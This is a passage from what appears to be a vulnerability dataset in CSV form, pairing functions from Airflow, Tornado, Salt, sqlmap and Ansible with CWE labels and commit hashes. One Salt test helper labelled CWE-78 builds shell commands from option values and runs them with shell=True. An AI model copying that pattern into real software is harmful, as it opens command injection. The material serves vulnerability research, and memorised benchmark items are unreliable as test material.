        batch_op.create_foreign_key(""toar_asset_fkey"", ""asset"", [""asset_id""], [""id""], ondelete=""CASCADE"")
        batch_op.create_foreign_key(
            constraint_name=""toar_dag_id_fkey"",
            referent_table=""dag"",
            local_cols=[""dag_id""],
            remote_cols=[""dag_id""],
            ondelete=""CASCADE"",
        )

    with op.batch_alter_table(""asset_dag_run_queue"", schema=None) as batch_op:
        batch_op.alter_column(""dataset_id"", new_column_name=""asset_id"", type_=sa.Integer(), nullable=False)

        batch_op.drop_constraint(""ddrq_dag_fkey"", type_=""foreignkey"")
        if op.get_bind().dialect.name in (""postgresql"", ""mysql""):
            batch_op.drop_constraint(""ddrq_dataset_fkey"", type_=""foreignkey"")

        _rename_pk_constraint(
            batch_op=batch_op,
            original_name=""datasetdagrunqueue_pkey"",
            new_name=""assetdagrunqueue_pkey"",
            columns=[""asset_id"", ""target_dag_id""],
        )
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dataset_dag_run_queue_target_dag_id"",
            new_name=""idx_asset_dag_run_queue_target_dag_id"",
            columns=[""target_dag_id""],
            unique=False,
        )
    with op.batch_alter_table(""asset_dag_run_queue"", schema=None) as batch_op:
        batch_op.create_foreign_key(""adrq_asset_fkey"", ""asset"", [""asset_id""], [""id""], ondelete=""CASCADE"")
        batch_op.create_foreign_key(
            constraint_name=""adrq_dag_fkey"",
            referent_table=""dag"",
            local_cols=[""target_dag_id""],
            remote_cols=[""dag_id""],
            ondelete=""CASCADE"",
        )

    with op.batch_alter_table(""dagrun_asset_event"", schema=None) as batch_op:
        batch_op.drop_constraint(""dagrun_dataset_event_event_id_fkey"", type_=""foreignkey"")
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dagrun_dataset_events_dag_run_id"",
            new_name=""idx_dagrun_asset_events_dag_run_id"",
            columns=[""dag_run_id""],
            unique=False,
        )
        batch_op.create_foreign_key(
            constraint_name=""dagrun_asset_event_dag_run_id_fkey"",
            referent_table=""dag_run"",
            local_cols=[""dag_run_id""],
            remote_cols=[""id""],
            ondelete=""CASCADE"",
        )

        batch_op.drop_constraint(""dagrun_dataset_event_dag_run_id_fkey"", type_=""foreignkey"")
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dagrun_dataset_events_event_id"",
            new_name=""idx_dagrun_asset_events_event_id"",
            columns=[""event_id""],
            unique=False,
        )
        batch_op.create_foreign_key(
            constraint_name=""dagrun_asset_event_event_id_fkey"",
            referent_table=""asset_event"",
            local_cols=[""event_id""],
            remote_cols=[""id""],
            ondelete=""CASCADE"",
        )

    with op.batch_alter_table(""asset_event"", schema=None) as batch_op:
        batch_op.alter_column(""dataset_id"", new_column_name=""asset_id"", type_=sa.Integer(), nullable=False)

    with op.batch_alter_table(""asset_event"", schema=None) as batch_op:
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dataset_id_timestamp"",
            new_name=""idx_asset_id_timestamp"",
            columns=[""asset_id"", ""timestamp""],
            unique=False,
        )

    with op.batch_alter_table(""asset_alias"", schema=None) as batch_op:
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dataset_alias_name_unique"",
            new_name=""idx_asset_alias_name_unique"",
            columns=[""name""],
            unique=True,
        )

    with op.batch_alter_table(""dag"", schema=None) as batch_op:
        batch_op.alter_column(
            ""dataset_expression"",
            new_column_name=""asset_expression"",
            type_=sqlalchemy_jsonfield.JSONField(json=json),
        )",CWE-Unknown,apache/airflow,c8d4aae1f7c35120c9935d40bac48cf7c3ca3530,"def upgrade():
    """"""Rename dataset as asset.""""""
    # Rename tables
    for original_name, new_name in table_name_mappings:
        op.rename_table(original_name, new_name)

    with op.batch_alter_table(""asset_active"", schema=None) as batch_op:
        batch_op.drop_constraint(""asset_active_asset_name_uri_fkey"", type_=""foreignkey"")

    with op.batch_alter_table(""asset"", schema=None) as batch_op:
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dataset_name_uri_unique"",
            new_name=""idx_asset_name_uri_unique"",
            columns=[""name"", ""uri""],
            unique=True,
        )

    with op.batch_alter_table(""asset_active"", schema=None) as batch_op:
        batch_op.create_foreign_key(
            constraint_name=""asset_active_asset_name_uri_fkey"",
            referent_table=""asset"",
            local_cols=[""name"", ""uri""],
            remote_cols=[""name"", ""uri""],
            ondelete=""CASCADE"",
        )

    with op.batch_alter_table(""asset_alias_asset"", schema=None) as batch_op:
        batch_op.alter_column(""dataset_id"", new_column_name=""asset_id"", type_=sa.Integer(), nullable=False)

    with op.batch_alter_table(""asset_alias_asset"", schema=None) as batch_op:
        batch_op.drop_constraint(op.f(""dataset_alias_dataset_alias_id_fkey""), type_=""foreignkey"")
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dataset_alias_dataset_alias_id"",
            new_name=""idx_asset_alias_asset_alias_id"",
            columns=[""alias_id""],
            unique=False,
        )
        batch_op.create_foreign_key(
            constraint_name=""asset_alias_asset_alias_id_fkey"",
            referent_table=""asset_alias"",
            local_cols=[""alias_id""],
            remote_cols=[""id""],
            ondelete=""CASCADE"",
        )

        batch_op.drop_constraint(op.f(""dataset_alias_dataset_dataset_id_fkey""), type_=""foreignkey"")
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dataset_alias_dataset_alias_dataset_id"",
            new_name=""idx_asset_alias_asset_asset_id"",
            columns=[""asset_id""],
            unique=False,
        )
        batch_op.create_foreign_key(
            constraint_name=""asset_alias_asset_asset_id_fkey"",
            referent_table=""asset"",
            local_cols=[""asset_id""],
            remote_cols=[""id""],
            ondelete=""CASCADE"",
        )

    with op.batch_alter_table(""asset_alias_asset_event"", schema=None) as batch_op:
        batch_op.drop_constraint(op.f(""dataset_alias_dataset_event_alias_id_fkey""), type_=""foreignkey"")
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dataset_alias_dataset_event_alias_id"",
            new_name=""idx_asset_alias_asset_event_alias_id"",
            columns=[""alias_id""],
            unique=False,
        )
        batch_op.create_foreign_key(
            constraint_name=op.f(""asset_alias_asset_event_alias_id_fkey""),
            referent_table=""asset_alias"",
            local_cols=[""alias_id""],
            remote_cols=[""id""],
            ondelete=""CASCADE"",
        )

        batch_op.drop_constraint(op.f(""dataset_alias_dataset_event_event_id_fkey""), type_=""foreignkey"")
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dataset_alias_dataset_event_event_id"",
            new_name=""idx_asset_alias_asset_event_event_id"",
            columns=[""event_id""],
            unique=False,
        )
        batch_op.create_foreign_key(
            constraint_name=op.f(""asset_alias_asset_event_event_id_fkey""),
            referent_table=""asset_event"",
            local_cols=[""event_id""],
            remote_cols=[""id""],
            ondelete=""CASCADE"",
        )

    with op.batch_alter_table(""dag_schedule_asset_alias_reference"", schema=None) as batch_op:
        batch_op.drop_constraint(""dsdar_dataset_alias_fkey"", type_=""foreignkey"")
        if op.get_bind().dialect.name in (""postgresql"", ""mysql""):
            batch_op.drop_constraint(""dsdar_dag_id_fkey"", type_=""foreignkey"")

        _rename_pk_constraint(
            batch_op=batch_op,
            original_name=""dsdar_pkey"",
            new_name=""dsaar_pkey"",
            columns=[""alias_id"", ""dag_id""],
        )
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dag_schedule_dataset_alias_reference_dag_id"",
            new_name=""idx_dag_schedule_asset_alias_reference_dag_id"",
            columns=[""dag_id""],
            unique=False,
        )

        batch_op.create_foreign_key(
            constraint_name=""dsaar_asset_alias_fkey"",
            referent_table=""asset_alias"",
            local_cols=[""alias_id""],
            remote_cols=[""id""],
            ondelete=""CASCADE"",
        )
        batch_op.create_foreign_key(
            constraint_name=""dsaar_dag_id_fkey"",
            referent_table=""dag"",
            local_cols=[""dag_id""],
            remote_cols=[""dag_id""],
            ondelete=""CASCADE"",
        )

    with op.batch_alter_table(""dag_schedule_asset_reference"", schema=None) as batch_op:
        batch_op.alter_column(""dataset_id"", new_column_name=""asset_id"", type_=sa.Integer(), nullable=False)

    with op.batch_alter_table(""dag_schedule_asset_reference"", schema=None) as batch_op:
        batch_op.drop_constraint(""dsdr_dag_id_fkey"", type_=""foreignkey"")
        if op.get_bind().dialect.name in (""postgresql"", ""mysql""):
            batch_op.drop_constraint(""dsdr_dataset_fkey"", type_=""foreignkey"")

        _rename_pk_constraint(
            batch_op=batch_op,
            original_name=""dsdr_pkey"",
            new_name=""dsar_pkey"",
            columns=[""asset_id"", ""dag_id""],
        )
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dag_schedule_dataset_reference_dag_id"",
            new_name=""idx_dag_schedule_asset_reference_dag_id"",
            columns=[""dag_id""],
            unique=False,
        )

        batch_op.create_foreign_key(
            constraint_name=""dsar_dag_id_fkey"",
            referent_table=""dag"",
            local_cols=[""dag_id""],
            remote_cols=[""dag_id""],
            ondelete=""CASCADE"",
        )
        batch_op.create_foreign_key(
            constraint_name=""dsar_asset_fkey"",
            referent_table=""asset"",
            local_cols=[""asset_id""],
            remote_cols=[""id""],
            ondelete=""CASCADE"",
        )

    with op.batch_alter_table(""task_outlet_asset_reference"", schema=None) as batch_op:
        batch_op.alter_column(""dataset_id"", new_column_name=""asset_id"", type_=sa.Integer(), nullable=False)

        batch_op.drop_constraint(""todr_dag_id_fkey"", type_=""foreignkey"")
        if op.get_bind().dialect.name in (""postgresql"", ""mysql""):
            batch_op.drop_constraint(""todr_dataset_fkey"", type_=""foreignkey"")

        _rename_pk_constraint(
            batch_op=batch_op,
            original_name=""todr_pkey"",
            new_name=""toar_pkey"",
            columns=[""asset_id"", ""dag_id"", ""task_id""],
        )

        _rename_index(
            batch_op=batch_op,
            original_name=""idx_task_outlet_dataset_reference_dag_id"",
            new_name=""idx_task_outlet_asset_reference_dag_id"",
            columns=[""dag_id""],
            unique=False,
        )

        batch_op.create_foreign_key(
            constraint_name=""toar_asset_fkey"",
            referent_table=""asset"",
            local_cols=[""asset_id""],
            remote_cols=[""id""],
            ondelete=""CASCADE"",
        )
        batch_op.create_foreign_key(
            constraint_name=""toar_dag_id_fkey"",
            referent_table=""dag"",
            local_cols=[""dag_id""],
            remote_cols=[""dag_id""],
            ondelete=""CASCADE"",
        )

    with op.batch_alter_table(""asset_dag_run_queue"", schema=None) as batch_op:
        batch_op.alter_column(""dataset_id"", new_column_name=""asset_id"", type_=sa.Integer(), nullable=False)

        batch_op.drop_constraint(""ddrq_dag_fkey"", type_=""foreignkey"")
        if op.get_bind().dialect.name in (""postgresql"", ""mysql""):
            batch_op.drop_constraint(""ddrq_dataset_fkey"", type_=""foreignkey"")

        _rename_pk_constraint(
            batch_op=batch_op,
            original_name=""datasetdagrunqueue_pkey"",
            new_name=""assetdagrunqueue_pkey"",
            columns=[""asset_id"", ""target_dag_id""],
        )
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dataset_dag_run_queue_target_dag_id"",
            new_name=""idx_asset_dag_run_queue_target_dag_id"",
            columns=[""target_dag_id""],
            unique=False,
        )

        batch_op.create_foreign_key(
            constraint_name=""adrq_asset_fkey"",
            referent_table=""asset"",
            local_cols=[""asset_id""],
            remote_cols=[""id""],
            ondelete=""CASCADE"",
        )
        batch_op.create_foreign_key(
            constraint_name=""adrq_dag_fkey"",
            referent_table=""dag"",
            local_cols=[""target_dag_id""],
            remote_cols=[""dag_id""],
            ondelete=""CASCADE"",
        )

    with op.batch_alter_table(""dagrun_asset_event"", schema=None) as batch_op:
        batch_op.drop_constraint(""dagrun_dataset_event_event_id_fkey"", type_=""foreignkey"")
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dagrun_dataset_events_dag_run_id"",
            new_name=""idx_dagrun_asset_events_dag_run_id"",
            columns=[""dag_run_id""],
            unique=False,
        )
        batch_op.create_foreign_key(
            constraint_name=""dagrun_asset_event_dag_run_id_fkey"",
            referent_table=""dag_run"",
            local_cols=[""dag_run_id""],
            remote_cols=[""id""],
            ondelete=""CASCADE"",
        )

        batch_op.drop_constraint(""dagrun_dataset_event_dag_run_id_fkey"", type_=""foreignkey"")
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dagrun_dataset_events_event_id"",
            new_name=""idx_dagrun_asset_events_event_id"",
            columns=[""event_id""],
            unique=False,
        )
        batch_op.create_foreign_key(
            constraint_name=""dagrun_asset_event_event_id_fkey"",
            referent_table=""asset_event"",
            local_cols=[""event_id""],
            remote_cols=[""id""],
            ondelete=""CASCADE"",
        )

    with op.batch_alter_table(""asset_event"", schema=None) as batch_op:
        batch_op.alter_column(""dataset_id"", new_column_name=""asset_id"", type_=sa.Integer(), nullable=False)

    with op.batch_alter_table(""asset_event"", schema=None) as batch_op:
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dataset_id_timestamp"",
            new_name=""idx_asset_id_timestamp"",
            columns=[""asset_id"", ""timestamp""],
            unique=False,
        )

    with op.batch_alter_table(""asset_alias"", schema=None) as batch_op:
        _rename_index(
            batch_op=batch_op,
            original_name=""idx_dataset_alias_name_unique"",
            new_name=""idx_asset_alias_name_unique"",
            columns=[""name""],
            unique=True,
        )

    with op.batch_alter_table(""dag"", schema=None) as batch_op:
        batch_op.alter_column(
            ""dataset_expression"",
            new_column_name=""asset_expression"",
            type_=sqlalchemy_jsonfield.JSONField(json=json),
        )"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/web.py,0,"def __init__(self, application, request, **kwargs):
        super(RequestHandler, self).__init__()

        self.application = application
        self.request = request
        self._headers_written = False
        self._finished = False
        self._auto_finish = True
        self._transforms = None  # will be set in _execute
        self.path_args = None
        self.path_kwargs = None
        self.ui = ObjectDict((n, self._ui_method(m)) for n, m in
                             application.ui_methods.items())
        # UIModules are available as both `modules` and `_tt_modules` in the
        # template namespace.  Historically only `modules` was available
        # but could be clobbered by user additions to the namespace.
        # The template {% module %} directive looks in `_tt_modules` to avoid
        # possible conflicts.
        self.ui[""_tt_modules""] = ObjectDict(
            (n, self._ui_module(n, m)) for n, m in
            application.ui_modules.items())
        self.ui[""modules""] = self.ui[""_tt_modules""]
        self.clear()
        # Check since connection is not available in WSGI
        if getattr(self.request, ""connection"", None):
            self.request.connection.set_close_callback(
                self.on_connection_close)
        self.initialize(**kwargs)",CWE-Unknown,tornadoweb/tornado,1a1b0498e9cddfc89721e950c2882709a23570a5,"def __init__(self, application, request, **kwargs):
        super(RequestHandler, self).__init__()

        self.application = application
        self.request = request
        self._headers_written = False
        self._finished = False
        self._auto_finish = True
        self._transforms = None  # will be set in _execute
        self.path_args = None
        self.path_kwargs = None
        self.ui = ObjectDict((n, self._ui_method(m)) for n, m in
                             application.ui_methods.items())
        # UIModules are available as both `modules` and `_modules` in the
        # template namespace.  Historically only `modules` was available
        # but could be clobbered by user additions to the namespace.
        # The template {% module %} directive looks in `_modules` to avoid
        # possible conflicts.
        self.ui[""_modules""] = ObjectDict((n, self._ui_module(n, m)) for n, m in
                                         application.ui_modules.items())
        self.ui[""modules""] = self.ui[""_modules""]
        self.clear()
        # Check since connection is not available in WSGI
        if getattr(self.request, ""connection"", None):
            self.request.connection.set_close_callback(
                self.on_connection_close)
        self.initialize(**kwargs)"
,UNKNOWN,UNKNOWN,tornado/locale.py,1,"def translate(self, message, plural_message=None, count=None):
        if plural_message is not None:
            assert count is not None
            return self.ngettext(message, plural_message, count)
        else:
            return self.gettext(message)",CWE-703,tornadoweb/tornado,1ceeb1ffd581f31678cd63fe81ef8d2e4f35380b,"def translate(self, message, plural_message=None, count=None):
        if plural_message is not None:
            assert count is not None
            return self.ngettext(message, plural_message, count)
        else:
            return self.gettext(message)"
,UNKNOWN,UNKNOWN,tests/jenkins.py,1,"def download_packages(options):
    print('Downloading packages...')
    sys.stdout.flush()

    workspace = options.workspace
    vm_name = options.download_packages

    for fglob in ('salt-*.rpm',
                  'salt-*.deb',
                  'salt-*.pkg.xz',
                  os.path.basename(options.package_log_file)):
        for fname in glob.glob(os.path.join(workspace, fglob)):
            if os.path.isfile(fname):
                os.unlink(fname)

    cmds = [
        ('salt {{0}} archive.tar czf {0}.tar.gz sources=\'*.*\' cwd={0}'
         .format(options.package_dir)),
        'salt {{0}} cp.push {0}.tar.gz'.format(options.package_dir),
        ('tar -C {{2}} -xzf /var/cache/salt/master/minions/{{1}}/files{0}.tar.gz'
         .format(options.package_dir)),
    ]

    for cmd in cmds:
        cmd = cmd.format(build_minion_target(options, vm_name), vm_name, workspace)
        print('Running CMD: {0}'.format(cmd))
        sys.stdout.flush()

        proc = NonBlockingPopen(
            cmd,
            shell=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            stream_stds=True
        )
        proc.poll_and_read_until_finish()
        proc.communicate()
        if proc.returncode != 0:
            print(
                '\nFailed to execute command. Exit code: {0}'.format(
                    proc.returncode
                )
            )
        time.sleep(0.25)",CWE-78,saltstack/salt,a146a80034094ae08bcbbd0792f84094b3e4f981,"def download_packages(options):
    print('Downloading packages...')
    sys.stdout.flush()

    workspace = options.workspace
    vm_name = options.download_packages

    for fglob in ('salt-*.rpm',
                  'salt-*.deb',
                  'salt-*.pkg.xz',
                  os.path.basename(options.package_log_file)):
        for fname in glob.glob(os.path.join(workspace, fglob)):
            if os.path.isfile(fname):
                os.unlink(fname)

    cmds = [
        ('salt {{0}} archive.tar czf {0}.tar.gz sources=\'*.*\' cwd={0}'
         .format(options.package_dir)),
        'salt {{0}} cp.push {0}.tar.gz'.format(options.package_dir),
        ('tar -C {{2}} -xzf /var/cache/salt/master/minions/{{1}}/files{0}.gz'
         .format(options.package_dir)),
    ]

    for cmd in cmds:
        cmd = cmd.format(build_minion_target(options, vm_name), vm_name, workspace)
        print('Running CMD: {0}'.format(cmd))
        sys.stdout.flush()

        proc = NonBlockingPopen(
            cmd,
            shell=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            stream_stds=True
        )
        proc.poll_and_read_until_finish()
        proc.communicate()
        if proc.returncode != 0:
            print(
                '\nFailed to execute command. Exit code: {0}'.format(
                    proc.returncode
                )
            )
        time.sleep(0.25)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/comparison.py,0,"def _comparison(page, headers, code, getRatioValue, pageLength):
    threadData = getCurrentThreadData()

    if kb.testMode:
        threadData.lastComparisonHeaders = listToStrValue(headers.headers) if headers else """"
        threadData.lastComparisonPage = page

    if page is None and pageLength is None:
        return None

    seqMatcher = threadData.seqMatcher
    seqMatcher.set_seq1(kb.pageTemplate)

    if any((conf.string, conf.notString, conf.regexp)):
        rawResponse = ""%s%s"" % (listToStrValue(headers.headers) if headers else """", page)

        # String to match in page when the query is True and/or valid
        if conf.string:
            return conf.string in rawResponse

        # String to match in page when the query is False and/or invalid
        if conf.notString:
            return conf.notString not in rawResponse

        # Regular expression to match in page when the query is True and/or valid
        if conf.regexp:
            return re.search(conf.regexp, rawResponse, re.I | re.M) is not None

    # HTTP code to match when the query is valid
    if conf.code:
        return conf.code == code

    if page:
        # In case of an DBMS error page return None
        if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()):
            return None

        # Dynamic content lines to be excluded before comparison
        if not kb.nullConnection:
            page = removeDynamicContent(page)
            seqMatcher.set_seq1(removeDynamicContent(kb.pageTemplate))

        if not pageLength:
            pageLength = len(page)

    if kb.nullConnection and pageLength:
        if not seqMatcher.a:
            errMsg = ""problem occurred while retrieving original page content ""
            errMsg += ""which prevents sqlmap from continuation. Please rerun, ""
            errMsg += ""and if the problem persists turn off any optimization switches""
            raise SqlmapNoneDataException(errMsg)

        ratio = 1. * pageLength / len(seqMatcher.a)

        if ratio > 1.:
            ratio = 1. / ratio
    else:
        # Preventing ""Unicode equal comparison failed to convert both arguments to Unicode""
        # (e.g. if one page is PDF and the other is HTML)
        if isinstance(seqMatcher.a, str) and isinstance(page, unicode):
            page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore')
        elif isinstance(seqMatcher.a, unicode) and isinstance(page, str):
            seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore')

        seq1, seq2 = None, None

        if conf.titles:
            seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
            seq2 = extractRegexResult(HTML_TITLE_REGEX, page)
        else:
            seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a
            seq2 = getFilteredPageContent(page, True) if conf.textOnly else page

        if seq1 is None or seq2 is None:
            return None

        seq1 = seq1.replace(REFLECTED_VALUE_MARKER, """")
        seq2 = seq2.replace(REFLECTED_VALUE_MARKER, """")

        count = 0
        while count < min(len(seq1), len(seq2)):
            if seq1[count] == seq2[count]:
                count += 1
            else:
                break
        if count:
            seq1 = seq1[count:]
            seq2 = seq2[count:]

        while True:
            try:
                seqMatcher.set_seq1(seq1)
            except MemoryError:
                seq1 = seq1[:len(seq1) / 1024]
            else:
                break

        while True:
            try:
                seqMatcher.set_seq2(seq2)
            except MemoryError:
                seq2 = seq2[:len(seq2) / 1024]
            else:
                break

        ratio = round(seqMatcher.quick_ratio(), 3)

    # If the url is stable and we did not set yet the match ratio and the
    # current injected value changes the url page content
    if kb.matchRatio is None:
        if ratio >= LOWER_RATIO_BOUND and ratio <= UPPER_RATIO_BOUND:
            kb.matchRatio = ratio
            logger.debug(""setting match ratio for current parameter to %.3f"" % kb.matchRatio)

    # If it has been requested to return the ratio and not a comparison
    # response
    if getRatioValue:
        return ratio

    elif ratio > UPPER_RATIO_BOUND:
        return True

    elif kb.matchRatio is None:
        return None

    else:
        return (ratio - kb.matchRatio) > DIFF_TOLERANCE",,sqlmapproject/sqlmap,1e014de6be1c77991717496bb077f586aa9851c7,"def _comparison(page, headers, code, getRatioValue, pageLength):
    threadData = getCurrentThreadData()

    if kb.testMode:
        threadData.lastComparisonHeaders = listToStrValue(headers.headers) if headers else """"
        threadData.lastComparisonPage = page

    if page is None and pageLength is None:
        return None

    seqMatcher = threadData.seqMatcher
    seqMatcher.set_seq1(kb.pageTemplate)

    if any((conf.string, conf.notString, conf.regexp)):
        rawResponse = ""%s%s"" % (listToStrValue(headers.headers) if headers else """", page)

        # String to match in page when the query is True and/or valid
        if conf.string:
            return conf.string in rawResponse

        # String to match in page when the query is False and/or invalid
        if conf.notString:
            return conf.notString not in rawResponse

        # Regular expression to match in page when the query is True and/or valid
        if conf.regexp:
            return re.search(conf.regexp, rawResponse, re.I | re.M) is not None

    # HTTP code to match when the query is valid
    if conf.code:
        return conf.code == code

    if page:
        # In case of an DBMS error page return None
        if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()):
            return None

        # Dynamic content lines to be excluded before comparison
        if not kb.nullConnection:
            page = removeDynamicContent(page)
            seqMatcher.set_seq1(removeDynamicContent(kb.pageTemplate))

        if not pageLength:
            pageLength = len(page)

    if kb.nullConnection and pageLength:
        if not seqMatcher.a:
            errMsg = ""problem occurred while retrieving original page content ""
            errMsg += ""which prevents sqlmap from continuation. Please rerun, ""
            errMsg += ""and if the problem persists turn off any optimization switches""
            raise SqlmapNoneDataException(errMsg)

        ratio = 1. * pageLength / len(seqMatcher.a)

        if ratio > 1.:
            ratio = 1. / ratio
    else:
        # Preventing ""Unicode equal comparison failed to convert both arguments to Unicode""
        # (e.g. if one page is PDF and the other is HTML)
        if isinstance(seqMatcher.a, str) and isinstance(page, unicode):
            page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore')
        elif isinstance(seqMatcher.a, unicode) and isinstance(page, str):
            seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore')

        seq1, seq2 = None, None

        if conf.titles:
            seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
            seq2 = extractRegexResult(HTML_TITLE_REGEX, page)
        else:
            seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a
            seq2 = getFilteredPageContent(page, True) if conf.textOnly else page

        if seq1 is None or seq2 is None:
            return None

        seq1 = seq1.replace(REFLECTED_VALUE_MARKER, """")
        seq2 = seq2.replace(REFLECTED_VALUE_MARKER, """")

        count = 0
        while count < min(len(seq1), len(seq2)):
            if seq1[count] == seq2[count]:
                count += 1
            else:
                break
        if count:
            seq1 = seq1[count:]
            seq2 = seq2[count:]

        while True:
            try:
                seqMatcher.set_seq1(seq1)
                seqMatcher.set_seq2(seq2)
            except MemoryError:
                seq1 = seq1[:len(seq1) / 4]
                seq2 = seq2[:len(seq2) / 4]
            else:
                break

        ratio = round(seqMatcher.quick_ratio(), 3)

    # If the url is stable and we did not set yet the match ratio and the
    # current injected value changes the url page content
    if kb.matchRatio is None:
        if ratio >= LOWER_RATIO_BOUND and ratio <= UPPER_RATIO_BOUND:
            kb.matchRatio = ratio
            logger.debug(""setting match ratio for current parameter to %.3f"" % kb.matchRatio)

    # If it has been requested to return the ratio and not a comparison
    # response
    if getRatioValue:
        return ratio

    elif ratio > UPPER_RATIO_BOUND:
        return True

    elif kb.matchRatio is None:
        return None

    else:
        return (ratio - kb.matchRatio) > DIFF_TOLERANCE"
,UNKNOWN,UNKNOWN,tests/unit/client/test_ssh.py,1,"def test_execute_script(self):
        """"""
        test Single.execute_script()
        """"""
        single = ssh.Single(
            self.opts,
            self.opts[""argv""],
            ""localhost"",
            mods={},
            fsclient=None,
            thin=salt.utils.thin.thin_path(self.opts[""cachedir""]),
            mine=False,
            winrm=False,
            **self.target
        )

        exp_ret = (""Success"", """", 0)
        mock_cmd = MagicMock(return_value=exp_ret)
        patch_cmd = patch(""salt.client.ssh.shell.Shell.exec_cmd"", mock_cmd)
        script = os.path.join(RUNTIME_VARS.TMP, ""script.sh"")

        with patch_cmd:
            ret = single.execute_script(script=script)
            assert ret == exp_ret
            assert mock_cmd.call_count == 2
            assert [
                call(""/bin/sh '{}'"".format(script)),
                call(""rm '{}'"".format(script)),
            ] == mock_cmd.call_args_list",CWE-703,saltstack/salt,e85ff36292cd0628eafc0090b574650fd706d753,"def test_execute_script(self):
        """"""
        test Single.execute_script()
        """"""
        single = ssh.Single(
            self.opts,
            self.opts[""argv""],
            ""localhost"",
            mods={},
            fsclient=None,
            thin=salt.utils.thin.thin_path(self.opts[""cachedir""]),
            mine=False,
            winrm=False,
            **self.target
        )

        exp_ret = (""Success"", """", 0)
        mock_cmd = MagicMock(return_value=exp_ret)
        patch_cmd = patch(""salt.client.ssh.shell.Shell.exec_cmd"", mock_cmd)
        script = os.path.join(RUNTIME_VARS.TMP, ""script.sh"")

        with patch_cmd:
            ret = single.execute_script(script=script)
            assert ret == exp_ret
            assert mock_cmd.call_count == 2
            assert [
                call(""/bin/sh '{}'"".format(script)),
                call(""rm '{}'"".format(script)),
            ] == mock_cmd.call_args_list"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/executor/task_executor.py,0,"def _execute(self, variables=None):
        '''
        The primary workhorse of the executor system, this runs the task
        on the specified host (which may be the delegated_to host) and handles
        the retry/until and block rescue/always execution
        '''

        if variables is None:
            variables = self._job_vars

        templar = Templar(loader=self._loader, shared_loader_obj=self._shared_loader_obj, variables=variables)

        context_validation_error = None
        try:
            # apply the given task's information to the connection info,
            # which may override some fields already set by the play or
            # the options specified on the command line
            self._play_context = self._play_context.set_task_and_variable_override(task=self._task, variables=variables, templar=templar)

            # fields set from the play/task may be based on variables, so we have to
            # do the same kind of post validation step on it here before we use it.
            self._play_context.post_validate(templar=templar)

            # now that the play context is finalized, if the remote_addr is not set
            # default to using the host's address field as the remote address
            if not self._play_context.remote_addr:
                self._play_context.remote_addr = self._host.address

            # We also add ""magic"" variables back into the variables dict to make sure
            # a certain subset of variables exist.
            self._play_context.update_vars(variables)

            # FIXME: update connection/shell plugin options
        except AnsibleError as e:
            # save the error, which we'll raise later if we don't end up
            # skipping this task during the conditional evaluation step
            context_validation_error = e

        # Evaluate the conditional (if any) for this task, which we do before running
        # the final task post-validation. We do this before the post validation due to
        # the fact that the conditional may specify that the task be skipped due to a
        # variable not being present which would otherwise cause validation to fail
        try:
            if not self._task.evaluate_conditional(templar, variables):
                display.debug(""when evaluation is False, skipping this task"")
                return dict(changed=False, skipped=True, skip_reason='Conditional result was False', _ansible_no_log=self._play_context.no_log)
        except AnsibleError:
            # loop error takes precedence
            if self._loop_eval_error is not None:
                raise self._loop_eval_error  # pylint: disable=raising-bad-type
            raise

        # Not skipping, if we had loop error raised earlier we need to raise it now to halt the execution of this task
        if self._loop_eval_error is not None:
            raise self._loop_eval_error  # pylint: disable=raising-bad-type

        # if we ran into an error while setting up the PlayContext, raise it now
        if context_validation_error is not None:
            raise context_validation_error  # pylint: disable=raising-bad-type

        # if this task is a TaskInclude, we just return now with a success code so the
        # main thread can expand the task list for the given host
        if self._task.action in ('include', 'include_tasks'):
            include_variables = self._task.args.copy()
            include_file = include_variables.pop('_raw_params', None)
            if not include_file:
                return dict(failed=True, msg=""No include file was specified to the include"")

            include_file = templar.template(include_file)
            return dict(include=include_file, include_variables=include_variables)

        # if this task is a IncludeRole, we just return now with a success code so the main thread can expand the task list for the given host
        elif self._task.action == 'include_role':
            include_variables = self._task.args.copy()
            return dict(include_variables=include_variables)

        # Now we do final validation on the task, which sets all fields to their final values.
        self._task.post_validate(templar=templar)
        if '_variable_params' in self._task.args:
            variable_params = self._task.args.pop('_variable_params')
            if isinstance(variable_params, dict):
                display.deprecated(""Using variables for task params is unsafe, especially if the variables come from an external source like facts"",
                                   version=""2.6"")
                variable_params.update(self._task.args)
                self._task.args = variable_params

        # get the connection and the handler for this execution
        if (not self._connection or
                not getattr(self._connection, 'connected', False) or
                self._play_context.remote_addr != self._connection._play_context.remote_addr):
            self._connection = self._get_connection(variables=variables, templar=templar)
        else:
            # if connection is reused, its _play_context is no longer valid and needs
            # to be replaced with the one templated above, in case other data changed
            self._connection._play_context = self._play_context
